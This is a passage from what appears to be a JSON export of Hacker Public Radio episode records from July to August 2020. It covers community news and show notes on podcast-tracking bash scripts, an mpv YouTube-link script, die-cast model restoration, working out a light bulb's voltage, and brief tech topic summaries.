                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3108Wed2020-07-01Fuguita as a DesktopZen_Floater2
                                                            3109Thu2020-07-02Matchbox Restoration Part 4Tony Hughes AKA TonyH1212
                                                            3110Fri2020-07-03Finding an Android phone to run LineageOSKen Fallon
                                                            3111Mon2020-07-06HPR Community News for June 2020HPR Volunteers
                                                            3112Tue2020-07-07finishing the frame on the long wheelbase recumbentBrian in Ohio
                                                            3113Wed2020-07-08OpenJDK 15 - Unsafe GarbageDaniel Persson
                                                            3114Thu2020-07-09Using the Akaso EK7000 ProAhuka
                                                            3115Fri2020-07-10Pest Controloperat0r
                                                            3116Mon2020-07-13Unscripted ramblings on a walk: Crisis at The ManorChristopher M. Hobbs
                                                            3117Tue2020-07-14The joy of retro computingknightwise
                                                            3118Wed2020-07-15Linux Inlaws S01E10 The Python Bumper Part 1monochromec
                                                            3119Thu2020-07-16Converting to FFS2Zen_Floater2
                                                            3120Fri2020-07-17How open are roleplaying games?Andrew Conway
                                                            3121Mon2020-07-20Opposing Views on TattoosWindigo
                                                            3122Tue2020-07-21Devuan review - and commentaryZen_Floater2
                                                            3123Wed2020-07-22Arduino controlled Christmas lightsArcher72
                                                            3124Thu2020-07-23Matchbox Restoration Part 5Tony Hughes AKA TonyH1212
                                                            3125Fri2020-07-24GIMP: The CanvasAhuka
                                                            3126Mon2020-07-27Metrics part IIAndrew Conway
                                                            3127Tue2020-07-28HPR AudioBook Club 20 - Quarter ShareHPR_AudioBookClub
                                                            3128Wed2020-07-29Linux Inlaws S01E11 The Python Bumper Part 2monochromec
                                                            3129Thu2020-07-30Followup on HPR3122Zen_Floater2
                                                            3130Fri2020-07-31More Quick Tipsoperat0r
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 33 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2774\n(2019-03-21) \"CJDNS and Yggdrasil\"\nby aldenp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nSam on 2020-07-19:\n\"hpr2774 :: CJDNS and Yggdrasil\"

                                                              \n
                                                            • hpr3097\n(2020-06-16) \"Linux Inlaws S01E07 The Big Blue Button\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nan anonymous listener on 2020-07-02:\n\"free software licensing\"
                                                              • \n
                                                              • \nComment 2:\nAhuka on 2020-07-02:\n\"Good interview\"

                                                              \n
                                                            • hpr3106\n(2020-06-29) \"Linux Inlaws S01E09 Postgres\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nBob on 2020-07-03:\n\"Levels\"
                                                              • \n
                                                              • \nComment 2:\nBruce Momjian on 2020-07-07:\n\"Amazon\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 28 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr3108\n(2020-07-01) \"Fuguita as a Desktop\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLuna Jernberg on 2020-07-01:\n\"Firefox Flatpak\"
                                                              • Comment 2:\nKlaatu on 2020-07-27:\n\"SD Card + encrypted hard drive\"

                                                              \n
                                                            • hpr3109\n(2020-07-02) \"Matchbox Restoration Part 4\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2020-07-04:\n\"Very cool topic\"

                                                              \n
                                                            • hpr3111\n(2020-07-06) \"HPR Community News for June 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncrvs on 2020-07-07:\n\"On math @ HPR\"

                                                              \n
                                                            • hpr3115\n(2020-07-10) \"Pest Control\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-07-12:\n\"surprise\"

                                                              \n
                                                            • hpr3116\n(2020-07-13) \"Unscripted ramblings on a walk: Crisis at The Manor\"\nby Christopher M. Hobbs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-07-13:\n\"network\"
                                                              • Comment 2:\nWindigo on 2020-07-14:\n\"Co-op hosting\"
                                                              • Comment 3:\nbk on 2020-07-15:\n\"Please tell us about how you built the Manor\"

                                                              \n
                                                            • hpr3117\n(2020-07-14) \"The joy of retro computing\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-07-15:\n\"computer learning today\"

                                                              \n
                                                            • hpr3118\n(2020-07-15) \"Linux Inlaws S01E10 The Python Bumper Part 1\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGuido on 2020-07-15:\n\"Nice episode on a weird language\"

                                                              \n
                                                            • hpr3119\n(2020-07-16) \"Converting to FFS2\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nan anonymous listener on 2020-07-23:\n\"security is hard\"
                                                              • Comment 2:\nGumnos on 2020-07-29:\n\"OpenBSD on a Mini10\"

                                                              \n
                                                            • hpr3121\n(2020-07-20) \"Opposing Views on Tattoos\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2020-07-29:\n\"Team Mrs. Honeyhume\"
                                                              • Comment 2:\nDave Morriss on 2020-07-31:\n\"I have an aversion to tattoos\"

                                                              \n
                                                            • hpr3122\n(2020-07-21) \"Devuan review - and commentary\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbittin on 2020-07-21:\n\"Politics\"
                                                              • Comment 2:\nDan on 2020-07-21:\n\"Purposely misleading episode\"
                                                              • Comment 3:\nKen Fallon on 2020-07-21:\n\"Updated show notes\"
                                                              • Comment 4:\ndraxil on 2020-07-21:\n\"Very interesting listen\"
                                                              • Comment 5:\nMr. Young on 2020-07-22:\n\"Interesting but misleading title\"
                                                              • Comment 6:\nKo on 2020-07-23:\n\"Misuse of HPR\"
                                                              • Comment 7:\nKen Fallon on 2020-07-24:\n\"Apologies to Zen_Floater2\"
                                                              • Comment 8:\nx on 2020-07-26:\n\"Good!\"
                                                              • Comment 9:\nigottrolledintolisteningtothis on 2020-07-27:\n\"Title should be\"
                                                              • Comment 10:\nbrian-in-ohio on 2020-07-31:\n\"the ruling\"

                                                              \n
                                                            • hpr3126\n(2020-07-27) \"Metrics part II\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2020-07-29:\n\"Etymology of 'geodesic'\"
                                                              • Comment 2:\nsesamemucho on 2020-07-31:\n\"Special thanks\"

                                                              \n
                                                            • hpr3129\n(2020-07-30) \"Followup on HPR3122\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJan on 2020-07-30:\n\"Zen_Floater2 asked for Comments on \"Explicit or not\"\"
                                                              • Comment 2:\nbrian-in-ohio on 2020-07-31:\n\"supreme court ruling\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nWindigo, Daniel Persson

                                                            \n

                                                            Over the period tags and/or summaries have been added to 81 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3132,"date":"2020-08-04","title":"Keeping track of where I am","duration":1362,"summary":"How I keep track of where I am","notes":"

                                                            This episode covers how I keep track of what I'm listening to

                                                            \n

                                                            I almost never produced this podcast as I discovered part way through that I had covered it in my show \"Describing how I listen to podcasts PART 2\" (HPR 2889). I'm conscious I have a tendency to repeat myself in real life, I think this is because I have such a terrible memory. Despite this I decided to continue with the episode but will go into subject in a bit more detail.

                                                            \n

                                                            These ideas slowly evolved over time and I think some of them may now be redundant. I think I need to do some tidying.

                                                            \n

                                                            As I've previously mention I used cordless headphones to listen to my podcasts and audiobooks. The headphones come with base transmitter which was originally plugged into my old Compaq home server. This server was generally turned on when I came home from work and turned off before going to bed. Each night I had to remember which track I was on and where about in the track. I often forgot and had to try and find the place again. This quickly became a tiresome task.

                                                            \n

                                                            My first solution was to use some bash Kung Fu jiggery pokery to create list of files which I placed in each podcast folder. In the process I learned a bit about using bash commands.

                                                            \n

                                                            Command used to create index

                                                            \n
                                                            id3v2 -l *.mp3 | grep 'TIT2' | cut -c44- >> readme.txt\nid3v2 -l *.mp3 | grep 'TIT2' | cut -c44- | egrep 'HPR[01][9][7-9]' >> readme.txt\nid3v2 -l *.mp3 | grep 'TIT2' | cut -c44- | egrep 'HPR[1-9]' |less >> readme.txt\n========================================================\n========================================================
                                                            \n

                                                            Example output

                                                            \n
                                                            epr0006.mp3 - dosman                            complete\nhpr0010.mp3 - linux boot process, part 1        complete\nhpr0012.mp3 - zen virtulization                 complete\nhpr0018.mp3 - book review                       complete
                                                            \n

                                                            The downside of this was that at the end of each night I had to remember to update my file lists recording what I had listened to and what position I was in within the track. From time to time I had to update this list by appending the latest episodes sitting on my server using the previous id3v2 command.

                                                            \n

                                                            As you can imagine this took up a fair amount of time and became very tiresome, I would sometimes forget to do it this would cause me a headache next time I started listening to my podcasts.

                                                            \n

                                                            My next solution involved creating a bash script that attempted to persuade my music player moc to find the track I was previously listening to.

                                                            \n

                                                            The script sometimes worked but it was a bit flaky and didn't always work.

                                                            \n

                                                            My final solution is in multiple parts

                                                            \n

                                                            The 1st part consists of a bash script and a log file, it's a handy way of checking the last podcast episode and last position, this information is recorded to the log file when the front end of moc is exited by hitting Q. Of course this doesn't work if mocp closes for any other reason ie if I forgot to hit Q or my Pi crashed.

                                                            \n

                                                            First script

                                                            \n
                                                            ~/scripts/podcasts\n\nquick lash up of script created 29/12/12 (DD/MM/YY)\nCreated to keep track of last position of listened podcast\n\nScript displays last 4 lines of logfile "podcasts.txt"\nThe four lines consist of a Dashed line separator, the last recorded Track\nTitle, last recorded Filename and the last recorded track position.\nThe script then pauses and displays a message saying\npress any key to continue.\nRuns mocp\nWhen the frontend of mocp exits\nThe script gets the current track filename\nIf the result is empty ie no filename then\n    exit with error saying (moc was not playing anything)\nif not empty\n    append a dashed line separator, the current track title, the current\n    filename, the current track position to logfile it then display last 4 lines\n    of logfile and exits the script\n\nSo in essence I get a reminder of the track and position I'm listening to\nevery time a start or stop the front end of moc\n\nThe logfile located at /home/pi/scripts/podcast.txt\npodcasts.txt as of 4th October 2019 is 168KB in size and currently has 4904\nlines as each entry has 4 lines this means it currently contains 1226 entries.
                                                            \n

                                                            The 2nd script I use runs as a cron job every night at 11.01pm. This script keeps track of all the files copied to the MP3 directory of my raspberry pi, this is where I put my podcasts that I want to listen to. I can then grep the log file to see the latest version of a particular episodes that's been copied to my mp3 directory as from time to time I delete the episodes I've listened to before copying new ones in.

                                                            \n
                                                            ~/scripts/update-podcast-episode-log\n Below are the comments taken directly from my script\nCreated to keep track of the latest podcast episode I've\nlistened to it does this by logging the contents\nof the mp3 directory on the raspberry pi.\nThe script checks the logfile exists, then checks the\npodcast (mp3) directory exists, it then use the find\ncommand to list the files in the mp3 directory and send the  listing to a log\nfile, a date stamp is added at the beginning of the listing.\nV1 11 July 2015\n\nLogfile located at /home/pi/files/logs/podcast-episodes.log\nAs of the 4th October 2019 the log file is an impressive 688Kb containing\na whopping 28,158 lines, the first entry was dated  15th July 2013
                                                            \n

                                                            The 3rd script is also runs as a cron job every every night at 11.00pm

                                                            \n
                                                            /home/pi/scripts/update-podcast-position-log\nBelow are the comments taken directly from my script\nCreated to log current position of current podcast\nThe script checks the logfile exists, then checks that mocp  is installed on\nthe system it then writes a timestamp, and track position information to\na logfile using moc with -Q flag to get current track position, track title\n& file name\nV1 Created by MrX 11th July 2015\n\nLogfile located at /home/pi/files/logs/podcast-position.log\nSize is 148Kb as of 4th October 2019 currently has a 1495 lines, the first\nentry was dated 15th July 2013
                                                            \n

                                                            Example logfile output

                                                            \n
                                                            15:09:06:23:01 | 01:12 | Dave Morriss - HPR1811: Life and Times of a Geek part 2 (Hacker Public Radio) | hpr1811.mp3\n\nYY:MM:DD:HH:MM | Track position (MM:SS) | ID3 track title | Filename
                                                            \n

                                                            The 4th script is identical to the previous script but is used to update the current audiobook position to a log file, like the previous script it runs as a cron job every night.

                                                            \n
                                                            /home/pi/scripts/update-audiobook-position-log
                                                            \n

                                                            The 5th and final script

                                                            \n
                                                            home/pi/scripts/logs
                                                            \n

                                                            Was created to easily view podcast and audiobook logs The script first checks that the logfiles exists, then displays the last three lines of my podcasts and audiobooks logs so I can quickly see the most recent episode positions that were stored by the cron jobs at 11pm.

                                                            \n

                                                            Logs are:-

                                                            \n
                                                            /home/pi/files/logs/podcast-position.log\n/home/pi/files/logs/audiobook-position.log
                                                            \n

                                                            V1 Created by MrX 13th July 2015

                                                            \n

                                                            V2 Updated by MrX 8th August 2015

                                                            \n

                                                            This added an option to seach for a string in my episodes position logs to easily find out what the last episode I listened to of a particular book or podcast, the output is piped to less as numerous lines can be returned.

                                                            \n

                                                            if more than one argument is given then it displays an error and usage message

                                                            \n

                                                            V3 Updated by MrX 21st Jul 2017

                                                            \n

                                                            If a single argument is given now jumps to end of list rather than beginning, this was achieved by using the +G flag with less command.

                                                            \n

                                                            The script displays contents of logfiles

                                                            \n
                                                            /home/pi/files/logs/podcast-position.log\n/home/pi/files/logs/audiobook-position.log
                                                            \n

                                                            Links

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, bash, podcasts, audio, scripts","version":0,"downloads":0,"valid":1}, {"id":3133,"date":"2020-08-05","title":"Quick tip - Using MPV with Youtube links","duration":124,"summary":"I give a quick tip on shortcut keys for watching Youtube or other video sites in MPV","notes":"

                                                            Idea:

                                                            \n

                                                            Quickly copy a Youtube or other video site, and open in the MPV media player.

                                                            \n

                                                            Plugins:

                                                            \n

                                                            Vim Vixen for Firefox
                                                            \nhttps://addons.mozilla.org/en-US/firefox/addon/vim-vixen

                                                            \n

                                                            Surfingkeys for Chrome/Chromium browser
                                                            \nhttps://chrome.google.com/webstore/detail/surfingkeys/gfbliohnnapiefjpjlpjnehglfpaknnc?hl=en-US

                                                            \n

                                                            Script:

                                                            \n
                                                            #!/bin/bash\n## mpvurl\n\nurl=`xsel -o -b`\necho $url\nmpv $url
                                                            \n

                                                            Rename /usr/bin/vlc to /usr/bin/vlc.old

                                                            \n

                                                            Copy script to /usr/bin/vlc and chmod +x /usr/bin/vlc

                                                            \n

                                                            How to use:

                                                            \n

                                                            Vim Vixen copy is 'y' Surfingkeys copy is 'yy'

                                                            \n

                                                            Shortcut to open copied video url is Shift-Mod-p, with Mod being the windows key

                                                            \n

                                                            Tested with Gnome3, Xfce and i3

                                                            \n

                                                            In i3, press Mod+v then Mod+s.

                                                            \n

                                                            Any video played this way will be stacked under Firefox/Chromium for the rest of your session.

                                                            \n

                                                            Config:

                                                            \n

                                                            In ~/.config/i3/config

                                                            \n
                                                            #Paste url into mpv player\nbindsym $mod+Shift+p exec vlc
                                                            \n

                                                            Example screenshots:

                                                            \n

                                                            Example of stacked Firefox/MPV layout
                                                            \n\"Example

                                                            \n

                                                            For Gnome3 the setting can be reached with Mod (Windows key) and Shortcuts
                                                            \n\"For

                                                            \n

                                                            And the Default Applications need to be changed
                                                            \n\"And

                                                            \n

                                                            The setting for Shortcuts in Xfce looks like this
                                                            \n\"The

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Video, media, bash, i3, Gnome3, Xfce","version":0,"downloads":0,"valid":1}, {"id":3134,"date":"2020-08-06","title":"Tomorrowland 2020","duration":584,"summary":"Explaining the experience of the first virtual music festival","notes":"

                                                            The music festival Tomorrowland was made virtual this year.

                                                            \n

                                                            Usually, they have 200k visitors over two weekends on a small area of 128 football (soccer) fields. This year they digitally did it all, which was engaging and fun. I've never attended, but I loved this year, where I could be a part of the experience.

                                                            \n

                                                            This recording was made at 01.00 AM right after the festival had ended, so I still had the hype, totally sober but euphoric.

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music,dance,house,festival,tomorrowland","version":0,"downloads":0,"valid":1}, {"id":3135,"date":"2020-08-07","title":"Quick Tips for May 20 20","duration":977,"summary":"BlueTooth,Carseats,tweezers,waffles ","notes":"
                                                              \n
                                                            1. Talk about Bluetooth...
                                                            2. \n
                                                            3. We can put a man on the moon but we can't make a carseat that doesn't make me want to murder people when I try to move it ...
                                                            4. \n
                                                            5. Sharpen those tweezers!
                                                            6. \n
                                                            7. Waffffffffelz! YUM!
                                                            8. \n
                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"BlueTooth,Carseats,tweezers,waffles ","version":0,"downloads":0,"valid":1}, {"id":3136,"date":"2020-08-10","title":"Matchbox Restoration Part 6","duration":286,"summary":"Matchbox Cars, Diecast Models, Restoration, Reassembly of the model","notes":"

                                                            Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 6th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process I use to paint and prepare the casting for reassembly. In this episode I will discuss how I put back the wheels onto the base and reassemble the final model, before revealing in the show note pictures how the model came out.

                                                            \n

                                                            So before putting back the plastic wheels onto the axles I polished the axles in my drill bit using a little bit of fine wet and dry emery paper.

                                                            \n

                                                            Picture 001
                                                            \n\"Picture

                                                            \n

                                                            After selecting the best 4 of the plastic tyres from the models we originally dismantled I washed these in a little soapy water and after drying they these were fit for putting back on the restored model. The cleaned up axle is assembled on the base with the first tyre in place with the large dome end of the axle sat on a nail punch held in a vice. The second tyre is then placed on the axle and holding this all in place a small hammer is used to peen over the end of the axle by hitting it gently so the end is peened over but the axle does not bend. It is possible to do this stage in a drill press using another nail punch in the drill chuck, but I do not have a drill press at the moment, so have to do this the old school way, with a bit of brute force and ignorance.

                                                            \n

                                                            Picture 002
                                                            \n\"Picture

                                                            \n

                                                            So we now have all the parts ready for reassembly. The base has the axles and wheels back on, the screen has been polished and the plastic seating given a clean in soapy water and dried, and the body is repainted and ready to go.

                                                            \n

                                                            Picture 003
                                                            \n\"Picture

                                                            \n

                                                            So being careful not to damage the paint work the casting is placed with the base side up and the window unit is placed into it.

                                                            \n

                                                            Picture 004
                                                            \n\"Picture

                                                            \n

                                                            Followed by the plastic interior, the eagle eyed among you will notice a colour change to the body work as I forgot to take a picture of this stage on the gold model. You have to ensure that the tab with the tow hitch (yes Matchbox put a tow hitch on a posh car) is fully over the retaining post or the base will not seat properly.

                                                            \n

                                                            Picture 005
                                                            \n\"Picture

                                                            \n

                                                            The base is then placed back on the model by sliding it over the tab at the front and clicking it down over the rivet post.

                                                            \n

                                                            Picture 006
                                                            \n\"Picture

                                                            \n

                                                            I then used some '5 second Fix' UV glue to glue around the post to hold it in place. You can also drill out the post with a 1.5mm drill and using an M2 tap then use a small M2 screw to hold the base in place, but in this case I was happy with the glue as it was for display and will not be handled frequently enough to require the more secure retention of a screw. With these small models there is a risk of damaging the post while drilling and tapping them so it is personal preference as to the method used to hold it all together at the end.

                                                            \n

                                                            Picture 007
                                                            \n\"Picture

                                                            \n

                                                            Picture 008
                                                            \n\"Picture

                                                            \n

                                                            The model is now completed and the final picture in the show notes is a small collection of what it looks like now it is ready to display again.

                                                            \n

                                                            Picture 009
                                                            \n\"Picture

                                                            \n

                                                            So that is the story of how to restore a Die-cast model back from the dead (well almost). These small models are comparatively easy, but some of the larger scale models with many more parts can take many days to restore, and require a lot of patience to do so. But from small beginnings we all start, and maybe in the future I will feel confident enough to tackle something a little more complicated. I have recently done a few models with opening doors which have a retaining spring holding them in place.

                                                            \n

                                                            So this short story is finished so this is Tony Hughes for Hacker Public Radio, saying goodbye for now, keep safe everyone and I'll be back at some time with another show. At the moment I'm not sure about what, but I will be back, so Ken can rest assured I still owe him a show.

                                                            \n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox Cars, Diecast Models, Restoration, Reassembly of the model","version":0,"downloads":0,"valid":1}, {"id":3137,"date":"2020-08-11","title":"Coronavirus Update 2020-07-30","duration":1364,"summary":"Where we are with this pandemic, and how should we respond?","notes":"

                                                            This is an update to my earlier shows to pull together what we know about the Coronavirus on this date, and what measures we can take. It focuses on the lack of solid information at this point and suggests a prudent course to stay safe. https://www.palain.com/health-topics/coronavirus-update-20200730/

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Coronavirus","version":0,"downloads":0,"valid":1}, {"id":3138,"date":"2020-08-12","title":"Linux Inlaws S01E12: Reminiscing in FLOSS Weekly","duration":5664,"summary":"An interview with Randal Schwartz of FLOSS Weekly fame","notes":"\n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux inlaws, communism, free and open source software, FLOSS Weekly, Perl, ship cruises","version":0,"downloads":0,"valid":1}, {"id":3139,"date":"2020-08-13","title":"MIDI Sysex","duration":1238,"summary":"Klaatu talks about Sysex functions in MIDI","notes":"

                                                            \nThe MIDI spec is available at MIDI.org\n

                                                            \n\n

                                                            \nSysex commands are listed at midi.org/specifications-old/item/table-4-universal-system-exclusive-messages\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"midi,music,synth","version":0,"downloads":0,"valid":1}, {"id":3140,"date":"2020-08-14","title":"GIMP: Selection Tools","duration":962,"summary":"The key to using GIMP effectively is to select the area you want to work on.","notes":"

                                                            Selection Tools define the area that other tools will work within. For example, if you want to add color to an image, you probably want to add it to a specific area, not to the entire image. Selection Tools help you to pick the area precisely, and are useful for photo retouching purposes.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, selection","version":0,"downloads":0,"valid":1}, {"id":3141,"date":"2020-08-17","title":"Lessons learnt from Magic the Gathering game design","duration":2269,"summary":"Lessons learnt from Magic the Gathering game design","notes":"

                                                            \nObservations and musings about game design, seen through the lens of MTG.\n

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"magic, mtg","version":0,"downloads":0,"valid":1}, {"id":3142,"date":"2020-08-18","title":"tcsh","duration":1719,"summary":"Klaatu talks about tcsh","notes":"

                                                            \nTcsh is a shell. It was popular once, I think. Anyway, I talk about why I sometimes use it, fondly, sometimes.\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"shell,csh,bash,tcsh","version":0,"downloads":0,"valid":1}, {"id":3143,"date":"2020-08-19","title":"LibreOffice 7.0 Released!","duration":927,"summary":"LibreOffice releases a new major update, LibreOffice 7.0","notes":"

                                                            LibreOffice is the premiere open source office suite, and with the major release of 7.0 continues to move forward. In this episode I look at some of the major features of this upgrade and why it matters.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, new release","version":0,"downloads":0,"valid":1}, {"id":3144,"date":"2020-08-20","title":"Pentesting: Insecure Object Reference","duration":726,"summary":"How an insecure object reference lead to a covid-related databreach","notes":"

                                                            Insecure object reference is a very common bug in online applications which most of the time leads to significant data breaches. In this episode I talk about one such vulnerability I discovered recently in a covid-related application.

                                                            ","hostid":387,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"pentesting,security,hacking","version":0,"downloads":0,"valid":1}, {"id":3145,"date":"2020-08-21","title":"A light bulb moment, part 1","duration":649,"summary":"Finding the working voltage of a bulb","notes":"

                                                            This show came about because of an email from Dave Morriss on the 4th March 2020

                                                            \n

                                                            The upshot of it was that Dave came into possession of an illuminated lantern that he wanted to use. He had a problem however as the lantern in question was sealed and he didn't know the working voltage of the bulb within. He asked me if there was a way of working it out.

                                                            \n

                                                            Well first of all before I go any further I should probably say I'm not a bulb expert, however I set about doing a little investigating. What I was about to discover is that calculating this is not as straightforward as you might think.

                                                            \n

                                                            One thing you might think to do is to use a meter to measure the resistance of the bulb. Even doing this however is fraught with difficulty because measuring the resistance of a cold bulb not at working temperature will give a misleading answer. This is because the resistance of a standard bulb changes with temperature.

                                                            \n

                                                            I can demonstrate this by measuring the resistance of two light bulbs I have lying around the house.

                                                            \n

                                                            One is a clear traditional Bayonet tungsten filament house bulb rated at 40W. I live in the UK so its operating voltage is 240V I used my trusty Fluke 77 Digital Ohmmeter but any meter capable of measuring resistance will do. This bulb at room temperature measured a resistance of 108 ohms

                                                            \n

                                                            The other bulb was a Halogen E14 screw in bulb rated at 28W and its operating voltage like the previous bulb was 240V. Its measured resistance at room temperature was 144 ohms)

                                                            \n

                                                            Diagrams Created using LibreOffice Draw \"Version: 6.0.7.3\"

                                                            \n

                                                            Formulae
                                                            \n\"Formulae\"

                                                            \n

                                                            Calculations For (tungsten filament bulb)

                                                            \n
                                                            V/R = I (Amps)\nso 240V / 108 ohms = 2.2 Amps\n\nV x I = P (Watts)\nso 240V x 2.2 Amps = 528W
                                                            \n

                                                            Calculations For (halogen bulb)

                                                            \n
                                                            V/R = 240V / 144 ohms = 1.7 Amps    (halogen)\n\nV x I = W\nso 240V x 1.7 Amps = 408W
                                                            \n

                                                            As per usual I used google and come up with somebody asking the same sort of question at https://www.candlepowerforums.com/vb/showthread.php?64832-How-to-identify-voltage-of-an-unmarked-bulb yes it seems like there a forum for just about anything you can think of.

                                                            \n

                                                            One person on the forum made the point that there really isn't such a thing as a working voltage it just depends on how long you want the bulb to last. For this reason I always turn down the brightness on any car I own that his dimmable dashboard lights changing these bulbs can be a real pain and or can be expensive.

                                                            \n

                                                            Sometimes the stated working voltage for a bulb can be misleading for example a car bulb will often state a working voltage of 12V but is likely to be running at a higher voltage when the engine is running due to the operation of cars alternator.

                                                            \n

                                                            Another person suggested trying to estimate the length of the filament and using this to determine the working voltage.

                                                            \n

                                                            Yet somebody else suggested just using a variable supply and to just slowly increase the voltage until a reasonable amount of light is generated. This might be quite simple if it's a low voltage bulb and you could even use some batteries lying around connecting them in series adding one battery at a time until the required brightness is achieved.

                                                            \n

                                                            It isn't so simple if bulb requires a higher voltage.

                                                            \n

                                                            In the end I just passed this information onto Dave wishing him luck in his path to discovering the optimal working voltage for his lantern.

                                                            \n

                                                            Feel free to write a comment if any of you out there have any other idea on finding the working voltage of a bulb this way it can be shared with the rest of us during the Community News, better still send in your own show.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hardware, electrical","version":0,"downloads":0,"valid":1}, {"id":3146,"date":"2020-08-24","title":"Help Me Help you with HPR eps!","duration":358,"summary":"What should I do and how should I do it ?","notes":"

                                                            A show about shows ?

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcasting, hpr","version":0,"downloads":0,"valid":1}, {"id":3147,"date":"2020-08-25","title":"NIST's Quantum Cryptography Update","duration":825,"summary":"NIST has concluded Round Two of the quantum encryption search and moved to Round Three","notes":"

                                                            NIST initiated a competition to find and test algorithms for quantum encryption that would resist quantum decryption back in December of 2016. Two rounds of testing have been completed, and an initial group of 69 submissions have been winnowed to 15. These 15 are now in Round Three of the testing process, and it is anticipated that as many as 4 of them will be approved as standards. This news update is intended to bring you up to date on the process.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"security, encryption, quantum computing","version":0,"downloads":0,"valid":1}, {"id":3148,"date":"2020-08-26","title":"Why Open Source matters (to me)","duration":1612,"summary":"I go briefly into my own history that has lead me to choose open source software exclusively.","notes":"

                                                            My original website: https://psquirk.tripod.com

                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"history,open source,matters,vic 20,amiga,commodore","version":0,"downloads":0,"valid":1}, {"id":3149,"date":"2020-08-27","title":"HPR AudioBook Club 21 - The Terrible Business of Salmon and Dusk","duration":6342,"summary":"The HPR Audiobook Club reviews the audiobook The Terrible Business of Salmon and Dusk by Myke Bartle","notes":"

                                                            In this episode the HPR Audiobook Club discusses the audiobook The Terrible Business of Salmon & Dusk by Myke Bartlett

                                                            \n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
